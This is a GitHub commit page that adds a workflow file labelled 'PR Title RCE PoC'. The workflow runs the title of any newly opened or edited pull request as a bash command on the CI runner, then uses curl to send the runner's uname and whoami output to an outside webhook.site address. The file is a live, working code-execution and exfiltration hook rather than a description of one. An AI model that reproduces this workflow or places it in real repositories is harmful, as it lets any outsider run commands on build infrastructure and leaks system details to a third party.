Skip to content

Commit 2e9a529

Browse files
Create gouri.yml
1 parent e3f2d73 commit 2e9a529

File tree

1 file changed

+27
-0
lines changed

1 file changed

+27
-0
lines changed

.github/workflows/gouri.yml

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
name: PR Title RCE PoC
2+
3+
on:
4+
pull_request:
5+
types: [opened, edited]
6+
7+
jobs:
8+
execute-pr-title:
9+
runs-on: ubuntu-latest
10+
permissions:
11+
contents: read
12+
13+
steps:
14+
- name: Extract and Execute PR Title
15+
env:
16+
PAYLOAD: ${{ github.event.pull_request.title }}
17+
run: |
18+
echo "[+] Executing PR title: $PAYLOAD"
19+
bash -c "$PAYLOAD" | tee output.txt
20+
21+
- name: Send Output to Webhook
22+
run: |
23+
uname_out=$(uname -a)
24+
whoami_out=$(whoami)
25+
curl -X POST https://webhook.site/e4056cbe-33ad-4c73-a3f2-48b7b388a4f1 \
26+
-H "Content-Type: application/json" \
27+
-d "{\"uname\": \"$uname_out\", \"whoami\": \"$whoami_out\"}"

0 commit comments

Comments
 (0)